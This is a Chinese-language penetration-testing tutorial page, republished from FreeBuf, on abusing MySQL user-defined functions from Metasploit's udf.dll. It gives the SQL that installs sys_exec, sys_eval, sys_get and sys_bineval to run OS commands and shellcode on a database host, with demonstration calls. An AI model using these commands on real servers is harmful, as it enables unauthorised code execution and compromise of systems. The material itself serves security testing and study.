利用MySQL UDF进行的一次渗透测试

发表于:2018-3-06 15:41

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:secist    来源:FreeBuf

  DLL探索
  在网上我翻阅了不少的资料,但大多都只介绍了Metasploit内部这个DLL中的’sys_exec’函数。那么除了这个函数之外,其它的函数是否也能为我们所用?通过导出该目录,我发现作者也写了许多其它非常实用的函数。如下所示:
  sys_exec
  该函数将在“系统”函数内传递参数’args-> args [0]‘。你可以使用它在目标机器上执行系统命令。
 
  安装
  create function sys_exec returns int soname 'udf.dll';
  验证
  select * from mysql.func where name = 'sys_exec';
  +----------+-----+---------+----------+
  | name     | ret | dl      | type     |
  +----------+-----+---------+----------+
  | sys_exec |   2 | udf.dll | function |
  +----------+-----+---------+----------+
 
  删除
  drop function sys_exec;
  sys_eval
  该函数将执行系统命令并在屏幕上通过标准输出显示。
 
  安装
  create function sys_eval returns string soname 'udf.dll';
  验证
  select * from mysql.func where name = 'sys_eval';
  删除
  drop function sys_eval;
  示例
  select sys_eval('dir');
  
  sys_get
  该函数使用’getenv’函数返回系统变量的值。
  
  安装
  create function sys_get returns string soname 'udf.dll';
  验证
  select * from mysql.func where name = 'sys_get';
  删除
  Drop function sys_get;
  示例
  Select sys_get('longonserver');
  
  执行Shellcode – sys_bineval
  我在这个DLL里面找到了一个非常实用的函数’sys_bineval’。该函数将使用’VirtualAlloc’API分配RWX内存,并使用’strcpy’将’args-> args [0]‘复制到新分配的内存中。然后,这个缓冲区被传递给’CreateThread’API来产生一个新的线程。
 
  如果我们查看’CreateThread’API,可以看到它使用’strcpy’复制缓冲区的’lpParameter’作为指针传递给线程的变量。’StartAddress’中的函数将直接移动’lpParamter’并调用ptr rax,这将改变RIP到我们的shellcode。
  
  安装
  create function sys_bineval returns int soname 'udf.dll';
  验证
  select * from mysql.func where name = 'sys_bineval';
  删除
  drop function sys_bineval;
  示例
  然而,我并没有在64位的平台成功执行该函数,在32位的平台该函数正常执行。你可以直接打开原始二进制文件或将其编码为base64或十六进制并实用该函数执行。
  select sys_bineval(from_base64(load_file('./calc.b64')));
  
  我注意到这些外部UDF函数在拆解代码中没有做适当的异常处理。因此,在调用这些函数时稍有错误就会导致mysqld.exe服务器崩溃。最后,我希望我的分享能为大家在对MySQL渗透时起到帮助。
22/2<12
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号